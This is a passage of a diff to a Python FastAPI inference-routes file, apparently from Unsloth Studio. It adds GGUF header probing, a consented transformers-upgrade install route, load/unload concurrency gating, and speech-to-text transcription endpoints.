-            from utils.models.gguf_metadata import read_gguf_context_length
+            from picker.schemas import MAX_CHAT_TEMPLATE_BYTES
+            from utils.models.gguf_metadata import (
+                read_gguf_chat_template,
+                read_gguf_staged_dims,
+            )
 
             # Best-effort: a header-read failure must never fail validation of an
             # otherwise-valid model (the outer except turns it into a 400).
@@ -3756,9 +5205,26 @@ async def validate_model(
                         model_identifier, request.gguf_variant
                     )
                 if local_gguf:
-                    context_length = read_gguf_context_length(local_gguf)
+                    if request.include_context_length:
+                        # Header walk reads tokenizer arrays (tens of ms); keep it
+                        # off the event loop.
+                        dims = await asyncio.to_thread(read_gguf_staged_dims, local_gguf)
+                        if dims:
+                            context_length = dims["context_length"]
+                            layer_count = dims["layer_count"]
+                            moe_layer_count = dims["moe_layer_count"]
+                    if request.include_chat_template:
+                        # Read only the leased GGUF's own embedded template (the copy
+                        # llama.cpp loads), never a sibling sidecar: the native grant
+                        # authorizes just this path, so neighbours would be scope escalation.
+                        raw_template = await asyncio.to_thread(read_gguf_chat_template, local_gguf)
+                        if (
+                            raw_template is not None
+                            and len(raw_template.encode("utf-8")) <= MAX_CHAT_TEMPLATE_BYTES
+                        ):
+                            chat_template = raw_template
             except Exception as e:
-                logger.debug("Context-length probe failed for %s: %s", model_log_label, e)
+                logger.debug("Header probe failed for %s: %s", model_log_label, e)
 
         return ValidateModelResponse(
             valid = True,
@@ -3773,6 +5239,11 @@ async def validate_model(
             requires_trust_remote_code = requires_trust_remote_code,
             requires_security_review = requires_security_review,
             context_length = context_length,
+            layer_count = layer_count,
+            moe_layer_count = moe_layer_count,
+            chat_template = chat_template,
+            requires_transformers_upgrade = transformers_upgrade is not None,
+            transformers_upgrade = transformers_upgrade,
         )
 
     except HTTPException:
@@ -3782,8 +5253,25 @@ async def validate_model(
         logger.warning("GGUF runtime missing while validating '%s': %s", request.model_path, e)
         raise HTTPException(status_code = 400, detail = str(e))
     except Exception as e:
+        redacted_msg = redact_native_paths(str(e))
+        if is_hf_authentication_error(e):
+            raise HTTPException(
+                status_code = 400,
+                detail = (
+                    "Hugging Face authentication failed. Check or clear the token "
+                    "in Settings, and confirm access to this gated repository."
+                ),
+            )
+        if _is_unsupported_nvfp4_inference_error(redacted_msg):
+            logger.warning(
+                "NVFP4 inference is not supported yet while validating '%s'",
+                model_log_label,
+            )
+            raise HTTPException(
+                status_code = 400,
+                detail = _NVFP4_INFERENCE_UNSUPPORTED_MESSAGE,
+            )
         if native_grant_backed:
-            redacted_msg = redact_native_paths(str(e))
             logger.error(
                 "Error validating native model %s: %s",
                 model_log_label,
@@ -3804,7 +5292,7 @@ async def validate_model(
         # Path-redact for safety and keep any other exception type generic so an
         # unexpected internal error never leaks its details to the client.
         if isinstance(e, (RuntimeError, ValueError)):
-            msg = redact_native_paths(str(e)).strip()
+            msg = redacted_msg.strip()
             if msg:
                 msg = _maybe_unsupported_message(msg)
                 raise HTTPException(
@@ -3817,6 +5305,217 @@ async def validate_model(
         )
 
 
+# studio_router only: admin action, kept off the OpenAI-compatible /v1 mount.
+@studio_router.post(
+    "/install-latest-transformers", response_model = InstallLatestTransformersResponse
+)
+async def install_latest_transformers_route(
+    request: InstallLatestTransformersRequest, current_subject: str = Depends(get_current_subject)
+):
+    """
+    Consented install of the latest transformers release into the persistent
+    .venv_t5_latest sidecar.
+
+    Called after the user confirms the transformers-upgrade dialog raised by /validate
+    (requires_transformers_upgrade). The requested version must match the current latest
+    PyPI release (re-verified server-side); the sidecar then participates in routing on
+    this and every future start. A pip install runs off-loop, so this can take a minute.
+    """
+    from utils.transformers_latest import install_latest_transformers
+    from utils.transformers_version import end_sidecar_swap, try_begin_sidecar_swap
+
+    # The install stage-and-swaps .venv_t5_latest in place; a live worker would
+    # lazy-import from the new version mid-run, mixing incompatible modules. Gate on
+    # worker LIVENESS not tier (no HF token here, so tier re-resolution is unreliable
+    # for gated repos): training and export are refused, the chat model unloaded.
+    # Reserve the swap FIRST, before any await: training/export starts check this
+    # reservation, so raising it after the gate wait would let a worker slip in.
+    if not try_begin_sidecar_swap():
+        raise HTTPException(
+            status_code = 409,
+            detail = "A transformers installation is already in progress.",
+        )
+    # Until the installer thread takes over, this coroutine owns the reservation
+    # and must release it on any early exit (the 409 refusals below).
+    owns_reservation = True
+    try:
+        from core.export import get_export_backend
+        from core.training import get_training_backend
+
+        if get_training_backend().is_training_active():
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "A training run is active. Wait for it to finish before "
+                    "installing a new transformers version."
+                ),
+            )
+        _export = get_export_backend()
+        if _export.is_export_active():
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "An export is running. Wait for it to finish before "
+                    "installing a new transformers version."
+                ),
+            )
+        # A loaded (idle) export checkpoint would be torn down by the pre-swap
+        # cleanup; if the swap then failed, that state would be silently lost
+        # with no rollback signal. Make the user unload it deliberately first.
+        if getattr(_export, "current_checkpoint", None):
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "An export checkpoint is loaded. Unload it from the Export "
+                    "page before installing a new transformers version."
+                ),
+            )
+        # In-flight streams passed the middleware already, so the lifecycle gate can't
+        # protect them and the swap's unload would kill them mid-stream; mirror the
+        # auto-switch busy check. This route is not middleware-counted and pending
+        # requests stay blocked in the middleware, so neither is subtracted here.
+        from core.inference.llama_keepwarm import (
+            inference_lifecycle_gate,
+            note_model_unloaded,
+            other_inference_request_count,
+        )
+
+        if other_inference_request_count(current_request_counted = False, include_pending = False) > 0:
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "Another inference request is in progress. Wait for it to "
+                    "finish before installing a new transformers version."
+                ),
+            )
+
+        # Hold the lifecycle gate /load holds so no HF worker can start (or be mid-load
+        # with active_model_name unset) while the sidecar is swapped. Teardown runs via
+        # before_swap, only once the staged install succeeded: a failed pip/compat check
+        # must not leave the user with their model gone. GGUF stays loaded (llama-server
+        # never imports transformers).
+        backend = get_inference_backend()
+        export_backend = get_export_backend()
+
+        unloaded_chat = {"v": False}
+
+        def _unload_before_swap() -> None:
+            # Runs on the install thread, inside the gate held by _gated_install. Any
+            # failure raises so the previous sidecar stays untouched (a worker that did
+            # not tear down cleanly may still lazy-import from it). Export teardown runs
+            # FIRST so its failure aborts while the chat model is still loaded;
+            # cleanup_memory shuts the subprocess down even when its command fails, so
+            # judge by worker liveness, not its return value.
+            export_backend.cleanup_memory()
+            export_alive = getattr(export_backend, "is_worker_alive", None)
+            if callable(export_alive) and export_alive():
+                raise RuntimeError("Export worker still alive before the transformers swap")
+            active = getattr(backend, "active_model_name", None)
+            if active:
+                if not backend.unload_model(active):
+                    # A failed unload still clears the orchestrator's model state,
+                    # so the model is gone from the parent's view even though the
+                    # swap aborts: report it so the client rolls back instead of
+                    # pointing at an unloaded model.
+                    if getattr(backend, "active_model_name", None) != active:
+                        unloaded_chat["v"] = True
+                        note_model_unloaded()
+                    raise RuntimeError(f"Could not unload '{active}' before the transformers swap")
+                note_model_unloaded()
+                unloaded_chat["v"] = True
+                logger.info(
+                    "Unloaded '%s' before swapping in transformers %s",
+                    active,
+                    request.version,
+                )
+            # A failed load can leave a live worker with no active model that
+            # still holds sidecar modules (and blocks the rename on Windows).
+            worker_alive = getattr(backend, "is_worker_alive", None)
+            if callable(worker_alive) and worker_alive():
+                # _shutdown_subprocess keeps the handle when the worker outlives SIGKILL,
+                # so both its False result and the liveness recheck catch a survivor
+                # rather than the recheck being fooled by a nulled handle.
+                stopped = backend._shutdown_subprocess()
+                if not stopped or worker_alive():
+                    raise RuntimeError("Inference worker still alive before the transformers swap")
+
+        def _run_install() -> dict:
+            # Owns the reservation from here: releasing in the thread, not the route,
+            # keeps it held if the request is cancelled while the install still stages.
+            try:
+                return install_latest_transformers(request.version, _unload_before_swap, True)
+            finally:
+                end_sidecar_swap()
+
+        # Snapshot before waiting on the gate: a /load already holding it can
+        # complete meanwhile (including a same-model reload with new settings),
+        # and the installer must not unload a model whose successful LoadResponse
+        # the client is about to render. The generation counter catches reloads
+        # the name alone would miss.
+        active_before_gate = (
+            getattr(backend, "active_model_name", None),
+            getattr(backend, "load_generation", 0),
+        )
+
+        async def _gated_install() -> dict:
+            # Held by THIS task, not the request coroutine: a cancelled POST unwinding an
+            # `async with` here would drop the only guard /load honors mid-install.
+            async with inference_lifecycle_gate():
+                _active_now = (
+                    getattr(backend, "active_model_name", None),
+                    getattr(backend, "load_generation", 0),
+                )
+                if _active_now != active_before_gate:
+                    end_sidecar_swap()
+                    raise HTTPException(
+                        status_code = 409,
+                        detail = (
+                            "A model load completed while the install was waiting. "
+                            "Retry the install."
+                        ),
+                    )
+                # Recheck under the gate: new streams bump their in-flight count while
+                # holding it, so once held nothing slips past (the pre-gate check is only
+                # a fast path and can be outlasted by a wait on a long /load).
+                if (
+                    other_inference_request_count(
+                        current_request_counted = False, include_pending = False
+                    )
+                    > 0
+                ):
+                    end_sidecar_swap()
+                    raise HTTPException(
+                        status_code = 409,
+                        detail = (
+                            "Another inference request is in progress. Wait for "
+                            "it to finish before installing a new transformers "
+                            "version."
+                        ),
+                    )
+                return await asyncio.to_thread(_run_install)
+
+        install_task = asyncio.ensure_future(_gated_install())
+        owns_reservation = False
+        # shield: a cancelled request stops waiting, but the installer runs to
+        # completion (holding the gate) instead of being torn down mid-swap.
+        result = await asyncio.shield(install_task)
+    finally:
+        if owns_reservation:
+            end_sidecar_swap()
+    if not result["success"]:
+        if result.get("latest_version"):
+            # Structured failure so the dialog can update to the newer release
+            # and offer a retry that can actually succeed.
+            return InstallLatestTransformersResponse(**result, model_unloaded = unloaded_chat["v"])
+        if unloaded_chat["v"]:
+            # The chat model is already gone even though the swap failed; return a
+            # structured failure (not a bare 400) so the client can restore its
+            # model state instead of pointing at an unloaded model.
+            return InstallLatestTransformersResponse(**result, model_unloaded = True)
+        raise HTTPException(status_code = 400, detail = result["message"])
+    return InstallLatestTransformersResponse(**result, model_unloaded = unloaded_chat["v"])
+
+
 @router.post("/unload", response_model = UnloadResponse)
 async def unload_model(request: UnloadRequest, current_subject: str = Depends(get_current_subject)):
     """
@@ -3826,28 +5525,76 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge
     # A deliberate unload means "stay unloaded": drop any idle reload stash so the
     # next /v1 request can't resurrect this model. The idle loop unloads via the
     # backend directly (not this route), so clearing here never fights keep-warm.
-    from core.inference.llama_keepwarm import note_model_unloaded
+    from core.inference.llama_keepwarm import inference_lifecycle_gate, note_model_unloaded
     try:
-        # Check if the GGUF backend has this model loaded or is loading it.
-        llama_backend = get_llama_cpp_backend()
-        if llama_backend.is_active and (
-            llama_backend.model_identifier == request.model_path
-            or is_registered_native_path_label(llama_backend.model_identifier, request.model_path)
-            or not llama_backend.is_loaded
+        # "Stop loading" (frontend cancelLoading -> /unload) must abort a still-loading
+        # model promptly. /load holds the lifecycle gate for the whole (multi-minute) load,
+        # so gating first would make the cancel wait it out. cancel_load only tears the
+        # loading subprocess down (no unload command), so it is safe off-gate.
+        backend = get_inference_backend()
+        loading = getattr(backend, "get_loading_model", lambda: None)()
+        if (
+            loading is not None
+            and hasattr(backend, "cancel_load")
+            and (request.model_path == loading or request.model_path.lower() == loading.lower())
         ):
-            # A manual unload is a deliberate user action: tear down now even if a
-            # request is mid-stream (only the automatic idle loop defers to it).
-            llama_backend.unload_model()
+            if await asyncio.to_thread(backend.cancel_load, request.model_path):
+                note_model_unloaded()
+                logger.info(f"Cancelled in-flight load: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+        # Same "stop loading" fast path for a still-loading GGUF (llama-server spawned,
+        # health check not yet passed). A gated unload would wait out the multi-minute
+        # load; unload_model() sets the cancel_event load_model polls off its own lock and
+        # kills the child, sending no worker command, so it is safe off-gate like
+        # cancel_load. The gated GGUF branch below handles the already-loaded case. Gate on
+        # the loading model (identifier or native label): the single llama-server loads one
+        # GGUF at a time, so an unload for a different model must not cancel this load.
+        llama_backend = get_llama_cpp_backend()
+        if (
+            llama_backend.is_active
+            and not llama_backend.is_loaded
+            and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+            )
+        ):
+            await asyncio.to_thread(llama_backend.unload_model)
             note_model_unloaded()
-            logger.info(f"Unloaded GGUF model: {request.model_path}")
+            logger.info(f"Cancelled in-flight GGUF load: {request.model_path}")
             return UnloadResponse(status = "unloaded", model = request.model_path)
 
-        # Otherwise, unload from Unsloth backend
-        backend = get_inference_backend()
-        backend.unload_model(request.model_path)
-        note_model_unloaded()
-        logger.info(f"Unloaded model: {request.model_path}")
-        return UnloadResponse(status = "unloaded", model = request.model_path)
+        # Serialize with /load under the same lifecycle gate: the Unsloth unload now runs
+        # off the event loop (asyncio.to_thread), so without this a concurrent /load could
+        # swap in a fresh subprocess mid-unload and the unload command would land on the
+        # new worker. The gate makes load and unload exclusive.
+        async with inference_lifecycle_gate():
+            # Check if the GGUF backend has this model loaded or is loading it.
+            llama_backend = get_llama_cpp_backend()
+            if llama_backend.is_active and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+                or not llama_backend.is_loaded
+            ):
+                # A manual unload is a deliberate user action: tear down now even if a
+                # request is mid-stream (only the automatic idle loop defers to it).
+                llama_backend.unload_model()
+                note_model_unloaded()
+                logger.info(f"Unloaded GGUF model: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+            # Unload from Unsloth backend off the event loop: unload takes _gen_lock, which
+            # a slow SSE stream paused between tokens still holds, so a sync call would block
+            # the loop that drives the stream's next token and the lock release.
+            backend = get_inference_backend()
+            await asyncio.to_thread(backend.unload_model, request.model_path)
+            note_model_unloaded()
+            logger.info(f"Unloaded model: {request.model_path}")
+            return UnloadResponse(status = "unloaded", model = request.model_path)
 
     except Exception as e:
         logger.error(f"Error unloading model: {e}", exc_info = True)
@@ -3909,7 +5656,7 @@ async def confirm_tool_call(
 
 @studio_router.get("/monitor")
 async def get_api_monitor(current_subject: str = Depends(get_current_subject)):
-    """Return recent OpenAI-compatible API activity for Studio."""
+    """Return recent OpenAI-compatible API activity for Unsloth."""
     active_model = _monitor_active_model()
     active_requests = api_monitor.active_count(subject = current_subject)
     if active_requests:
@@ -4005,25 +5752,28 @@ async def generate_stream(
                 temperature = request.temperature,
                 top_p = request.top_p,
                 top_k = request.top_k,
+                min_p = request.min_p,
                 max_new_tokens = request.max_new_tokens,
                 repetition_penalty = request.repetition_penalty,
+                presence_penalty = request.presence_penalty,
                 cancel_event = cancel_event,
             )
             _DONE = object()
             while True:
                 if cancel_event.is_set():
-                    # The disconnect watcher set cancel_event between chunks.
-                    # Reset the backend here: closing the Python generator does
-                    # not signal a subprocess backend, so without this it keeps
-                    # decoding after the client is gone. The finally's reset is
-                    # guarded on cancel_event being unset, so it will not run
-                    # again for this path.
+                    # Watcher set cancel_event between chunks. Reset here: closing
+                    # the generator does not signal a subprocess backend, so it would
+                    # keep decoding. The finally's reset is guarded, so no double-run.
                     backend.reset_generation_state()
                     break
                 chunk = await asyncio.to_thread(next, gen, _DONE)
                 if chunk is _DONE:
                     completed = True
                     break
+                if isinstance(chunk, GenStreamError):
+                    yield f"data: {json.dumps({'error': _friendly_gen_stream_error(chunk)})}\n\n"
+                    yield "data: [DONE]\n\n"
+                    return
                 yield f"data: {json.dumps({'content': chunk})}\n\n"
             if completed:
                 yield "data: [DONE]\n\n"
@@ -4037,6 +5787,7 @@ async def generate_stream(
             backend.reset_generation_state()
             logger.error(f"Error during generation: {e}", exc_info = True)
             yield f"data: {json.dumps({'error': _friendly_error(e)})}\n\n"
+            yield "data: [DONE]\n\n"
         finally:
             await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
             if not completed and not cancel_event.is_set():
@@ -4093,7 +5844,7 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
                 _display_model_id = os.path.basename(_model_id)
             _inference_cfg = load_inference_config(_model_id) if _model_id else None
             _audio_type = getattr(llama_backend, "_audio_type", None)
-            # Don't surface Studio's auto-applied bundled family template (e.g. the
+            # Don't surface Unsloth's auto-applied bundled family template (e.g. the
             # gemma-4 override) as a user-authored override: the frontend adopts
             # status.chat_template_override as editable state and would otherwise
             # re-send it as an explicit override for a later, unrelated model. Only
@@ -4138,6 +5889,14 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
                 speculative_type = llama_backend.requested_spec_mode,
                 spec_draft_n_max = llama_backend.spec_draft_n_max,
                 tensor_parallel = llama_backend.tensor_parallel,
+                gpu_memory_mode = llama_backend.gpu_memory_mode,
+                gpu_layers = llama_backend.gpu_layers,
+                n_cpu_moe = llama_backend.n_cpu_moe,
+                tensor_split = llama_backend.tensor_split,
+                requested_context_length = llama_backend.requested_n_ctx,
+                n_layers = llama_backend.n_layers,
+                n_moe_layers = llama_backend.n_moe_layers,
+                gpu_ids = llama_backend.gpu_ids,
                 llama_cpp_supports_mtp = _supports_mtp,
                 spec_fallback_reason = llama_backend.spec_fallback_reason,
                 llama_cpp_prebuilt_stale = _stale,
@@ -4203,6 +5962,33 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
         raise HTTPException(status_code = 500, detail = "Failed to get status")
 
 
+_load_progress_lock = threading.Lock()
+_last_load_progress_step = -1
+
+
+def _log_load_progress_step(fraction, phase):
+    """One inference_load_progress line per 10% step, so a model load shows
+    progress without a line per poll. Reset per load by _reset_load_progress_step."""
+    global _last_load_progress_step
+    step = int(max(0.0, min(float(fraction), 1.0)) * 10)
+    with _load_progress_lock:
+        prev = _last_load_progress_step
+        if step == prev:
+            return
+        _last_load_progress_step = step
+        if step < prev:
+            return  # load regressed/restarted mid-poll; resync without logging
+    logger.info("inference_load_progress", phase = phase or "", percent = step * 10)
+
+
+def _reset_load_progress_step():
+    """Arm the throttle for a new load so its first sampled step always logs,
+    even a cached load that already reports fraction=1.0 on the first poll."""
+    global _last_load_progress_step
+    with _load_progress_lock:
+        _last_load_progress_step = -1
+
+
 @router.get("/load-progress", response_model = LoadProgressResponse)
 async def get_load_progress(current_subject: str = Depends(get_current_subject)):
     """
@@ -4221,7 +6007,9 @@ async def get_load_progress(current_subject: str = Depends(get_current_subject))
         progress = llama_backend.load_progress()
         if progress is None:
             return LoadProgressResponse()
-        return LoadProgressResponse(**progress)
+        resp = LoadProgressResponse(**progress)
+        _log_load_progress_step(resp.fraction, resp.phase)
+        return resp
     except Exception as e:
         logger.warning(f"Error sampling load progress: {e}")
         return LoadProgressResponse()
@@ -4329,6 +6117,342 @@ async def generate_audio(
     )
 
 
+# =====================================================================
+# Speech-to-text (STT) sidecar  (/audio/transcribe, /audio/stt/*)
+# =====================================================================
+
+
+def _resolve_stt_engine(engine: Optional[str]) -> str:
+    """Normalize the requested STT engine name; default is Transformers."""
+    normalized = (engine or "transformers").strip().lower()
+    if normalized in ("", "transformers", "whisper"):
+        return "transformers"
+    if normalized in ("gguf", "ggml", "whisper_cpp", "whisper.cpp"):
+        return "gguf"
+    raise HTTPException(
+        status_code = 422,
+        detail = f"Unknown STT engine '{engine}'. Use 'transformers' or 'gguf'.",
+    )
+
+
+def _resolve_serving_stt_engine(engine: Optional[str]) -> str:
+    """Resolve the engine that will actually serve a model.
+
+    whisper.cpp (gguf) only accepts curated ids, which Transformers serves too,
+    so when whisper-server is not installed (the common case: `unsloth studio
+    update` does not yet build it) fall back to Transformers instead of 501-ing
+    on every recording. Used for download/load/transcribe; unload targets a
+    specific engine via _resolve_stt_engine.
+    """
+    resolved = _resolve_stt_engine(engine)
+    if resolved == "gguf":
+        from core.inference import stt_ggml_sidecar
+        if not stt_ggml_sidecar.is_available():
+            return "transformers"
+    return resolved
+
+
+def _stt_sidecar_for(engine: str):
+    if engine == "gguf":
+        from core.inference.stt_ggml_sidecar import get_ggml_stt_sidecar
+        return get_ggml_stt_sidecar()
+    from core.inference.stt_sidecar import get_stt_sidecar
+    return get_stt_sidecar()
+
+
+@studio_router.get("/audio/stt/status")
+async def stt_status(
+    model: Optional[str] = None, current_subject: str = Depends(get_current_subject)
+):
+    """Report STT availability and which model, if any, is resident.
+
+    ``model`` extends the Transformers ``downloaded_models`` check to a
+    custom Hugging Face repository beyond the curated defaults.
+    """
+    from core.inference import stt_ggml_sidecar, stt_sidecar
+    from core.inference.stt_sidecar import (
+        DEFAULT_STT_MODEL,
+        STT_MODELS,
+        get_stt_sidecar,
+        is_available,
+    )
+
+    sidecar = get_stt_sidecar()
+    ggml = stt_ggml_sidecar.get_ggml_stt_sidecar()
+    transformers_downloaded = [
+        model_id for model_id in STT_MODELS if stt_sidecar.is_model_downloaded(model_id)
+    ]
+    if model and model not in STT_MODELS and stt_sidecar.is_model_downloaded(model):
+        transformers_downloaded.append(model)
+    return JSONResponse(
+        content = {
+            "available": is_available(),
+            "loaded_model": sidecar.loaded_model,
+            "loading": sidecar.is_loading(),
+            "device": sidecar.device,
+            "keep_alive_seconds": sidecar.keep_alive_seconds,
+            "default_model": DEFAULT_STT_MODEL,
+            "models": list(STT_MODELS.keys()),
+            # Transformers engine, same shape as "gguf" below so clients read
+            # either generically. Top-level fields above kept for old clients.
+            "transformers": {
+                "available": is_available(),
+                "loaded_model": sidecar.loaded_model,
+                "loading": sidecar.is_loading(),
+                "device": sidecar.device,
+                "keep_alive_seconds": sidecar.keep_alive_seconds,
+                "default_model": DEFAULT_STT_MODEL,
+                "models": list(STT_MODELS.keys()),
+                "downloaded_models": transformers_downloaded,
+                "download": stt_sidecar.download_status(),
+            },
+            # whisper.cpp (GGUF) engine.
+            "gguf": {
+                "available": stt_ggml_sidecar.is_available(),
+                "loaded_model": ggml.loaded_model,
+                "loading": ggml.is_loading(),
+                "device": ggml.device,
+                "keep_alive_seconds": ggml.keep_alive_seconds,
+                "default_model": stt_ggml_sidecar.DEFAULT_GGML_STT_MODEL,
+                "models": list(stt_ggml_sidecar.GGML_STT_MODELS.keys()),
+                "downloaded_models": [
+                    model_id
+                    for model_id in stt_ggml_sidecar.GGML_STT_MODELS
+                    if stt_ggml_sidecar._cached_model_path(model_id) is not None
+                ],
+                "download": stt_ggml_sidecar.download_status(),
+            },
+        }
+    )
+
+
+@studio_router.post("/audio/stt/download")
+async def stt_download(
+    payload: SttLoadRequest,
+    current_subject: str = Depends(get_current_subject),
+    hf_token: Optional[str] = Depends(get_hf_token),
+):
+    """Start a background download of a dictation model.
+
+    Both engines download directly (a GGML checkpoint is a single file the Model
+    Hub's GGUF variant planner cannot express; a Transformers checkpoint is a
+    whole snapshot). Progress is reported by /audio/stt/status.
+    """
+    from core.inference import stt_ggml_sidecar, stt_sidecar
+    from core.inference.stt_sidecar import (
+        SttModelCompatibilityError,
+        SttModelIdError,
+        validate_remote_model,
+    )
+
+    engine = _resolve_serving_stt_engine(payload.engine)
+    module = stt_ggml_sidecar if engine == "gguf" else stt_sidecar
+    try:
+        # Transformers accepts custom `owner/model` repos, so confirm the repo is
+        # a Whisper checkpoint (metadata-only) before snapshot_download pulls a
+        # possibly-large non-STT repo into the shared cache. Curated ids
+        # short-circuit; GGUF only accepts curated ids, so it needs no check.
+        if engine != "gguf":
+            validated = await asyncio.to_thread(validate_remote_model, payload.model, hf_token)
+            # Pin the download to the commit that was just validated so the
+            # repo cannot be swapped between validation and snapshot_download.
+            await asyncio.to_thread(
+                module.start_model_download,
+                payload.model,
+                hf_token,
+                validated.get("revision"),
+            )
+        else:
+            await asyncio.to_thread(module.start_model_download, payload.model, hf_token)
+    except SttModelIdError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    except SttModelCompatibilityError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    return JSONResponse(content = module.download_status())
+
+
+@studio_router.post("/audio/stt/load")
+async def stt_load(payload: SttLoadRequest, current_subject: str = Depends(get_current_subject)):
+    """Load the selected STT model after the user starts local dictation."""
+    from core.inference.stt_sidecar import (
+        SttLoadCancelledError,
+        SttModelCompatibilityError,
+        SttModelIdError,
+        SttModelNotDownloadedError,
+        SttUnavailableError,
+        get_stt_sidecar,
+    )
+
+    sidecar = _stt_sidecar_for(_resolve_serving_stt_engine(payload.engine))
+    try:
+        await asyncio.to_thread(sidecar.load, payload.model)
+    except SttModelNotDownloadedError as e:
+        raise HTTPException(status_code = 409, detail = str(e))
+    except SttUnavailableError as e:
+        raise HTTPException(status_code = 501, detail = str(e))
+    except SttLoadCancelledError as e:
+        raise HTTPException(status_code = 409, detail = str(e))
+    except SttModelIdError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    except SttModelCompatibilityError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    except Exception as e:
+        logger.error(f"STT load error: {e}", exc_info = True)
+        raise HTTPException(status_code = 500, detail = safe_error_detail(e))
+    return JSONResponse(content = {"loaded_model": sidecar.loaded_model, "device": sidecar.device})
+
+
+@studio_router.post("/audio/stt/validate")
+async def stt_validate(
+    payload: SttLoadRequest,
+    current_subject: str = Depends(get_current_subject),
+    hf_token: Optional[str] = Depends(get_hf_token),
+):
+    """Verify a Hub repository is a Whisper checkpoint before downloading it."""
+    from core.inference.stt_sidecar import (
+        SttModelCompatibilityError,
+        SttModelIdError,
+        validate_remote_model,
+    )
+
+    try:
+        result = await asyncio.to_thread(validate_remote_model, payload.model, hf_token)
+    except (SttModelIdError, SttModelCompatibilityError) as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    return JSONResponse(content = result)
+
+
+@studio_router.post("/audio/stt/unload")
+async def stt_unload(
+    engine: Optional[str] = None, current_subject: str = Depends(get_current_subject)
+):
+    """Release the local STT model when dictation is idle.
+
+    Without an engine, both sidecars unload so an engine switch in Voice
+    settings always frees whichever backend was resident.
+    """
+    if engine is None:
+        engines = ["transformers", "gguf"]
+    else:
+        # Use the serving resolver: a "gguf" pick without whisper-server is
+        # actually served by the Transformers fallback, so unload must target
+        # that same engine or the resident model is never freed.
+        engines = [_resolve_serving_stt_engine(engine)]
+    # Attempt every engine even if one raises, so failing to unload one never
+    # skips freeing the other (both can be resident after a switch).
+    failed: list[str] = []
+    for name in engines:
+        try:
+            await asyncio.to_thread(_stt_sidecar_for(name).unload)
+        except Exception as exc:  # noqa: BLE001 - report after attempting all engines
+            logger.warning("Failed to unload STT engine '%s': %s", name, exc)
+            failed.append(name)
+    if failed:
+        raise HTTPException(
+            status_code = 500,
+            detail = f"Failed to unload STT engine(s): {', '.join(failed)}",
+        )
+    return JSONResponse(content = {"loaded_model": None, "device": None})
+
+
+async def _transcribe_audio_bytes(
+    raw: bytes,
+    model: Optional[str],
+    language: Optional[str],
+    fast: bool,
+    engine: Optional[str] = None,
+) -> JSONResponse:
+    """Run STT for already-decoded request bytes."""
+    from core.inference.stt_sidecar import (
+        SttAudioDecodeError,
+        SttAudioTooLongError,
+        SttLanguageError,
+        SttLoadCancelledError,
+        SttModelCompatibilityError,
+        SttModelIdError,
+        SttModelNotDownloadedError,
+        SttUnavailableError,
+    )
+
+    if not raw:
+        raise HTTPException(status_code = 400, detail = "Audio is empty.")
+    if len(raw) > _MAX_AUDIO_RAW_BYTES:
+        raise HTTPException(status_code = 413, detail = "Audio is too large.")
+
+    sidecar = _stt_sidecar_for(_resolve_serving_stt_engine(engine))
+    try:
+        result = await asyncio.to_thread(
+            sidecar.transcribe,
+            raw,
+            model,
+            language,
+            fast,
+        )
+    except SttUnavailableError as e:
+        raise HTTPException(status_code = 501, detail = str(e))
+    except SttLoadCancelledError as e:
+        raise HTTPException(status_code = 409, detail = str(e))
+    except SttModelNotDownloadedError as e:
+        raise HTTPException(status_code = 409, detail = str(e))
+    except SttModelIdError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    except SttModelCompatibilityError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    except SttLanguageError as e:
+        raise HTTPException(status_code = 422, detail = str(e))
+    except SttAudioTooLongError as e:
+        raise HTTPException(status_code = 413, detail = str(e))
+    except SttAudioDecodeError as e:
+        raise HTTPException(status_code = 400, detail = str(e))
+    except Exception as e:
+        logger.error(f"Transcription error: {e}", exc_info = True)
+        raise HTTPException(status_code = 500, detail = safe_error_detail(e))
+    return JSONResponse(content = result)
+
+
+@studio_router.post("/audio/transcribe")
+async def transcribe_audio(
+    payload: TranscribeRequest, current_subject: str = Depends(get_current_subject)
+):
+    """Transcribe dictation audio to text via the STT sidecar.
+
+    Runs alongside the chat model without evicting it, so any model (including
+    text-only ones) can be driven by voice.
+    """
+    b64 = payload.audio or ""
+    if not b64:
+        raise HTTPException(status_code = 400, detail = "No audio provided.")
+    if len(b64) > _MAX_AUDIO_B64_CHARS:
+        raise HTTPException(status_code = 413, detail = "Audio is too large.")
+    try:
+        raw = base64.b64decode(b64, validate = True)
+    except Exception:
+        raise HTTPException(status_code = 400, detail = "Audio is not valid base64.")
+    return await _transcribe_audio_bytes(
+        raw, payload.model, payload.language, payload.fast, payload.engine
+    )
+
+
+@studio_router.post("/audio/transcribe/raw")
+async def transcribe_audio_raw(
+    request: Request,
+    model: Optional[str] = None,
+    language: Optional[str] = None,
+    fast: bool = False,
+    engine: Optional[str] = None,
+    current_subject: str = Depends(get_current_subject),
+):
+    """Transcribe a raw audio body without base64 or JSON conversion overhead."""
+    chunks: list[bytes] = []
+    size = 0
+    async for chunk in request.stream():
+        size += len(chunk)
+        if size > _MAX_AUDIO_RAW_BYTES:
+            raise HTTPException(status_code = 413, detail = "Audio is too large.")
+        chunks.append(chunk)
+    return await _transcribe_audio_bytes(b"".join(chunks), model, language, fast, engine)
+
+
 # =====================================================================
 # OpenAI-Compatible Chat Completions  (/chat/completions)
 # =====================================================================
@@ -4370,8 +6494,8 @@ def _decode_audio_base64(b64: str) -> np.ndarray:
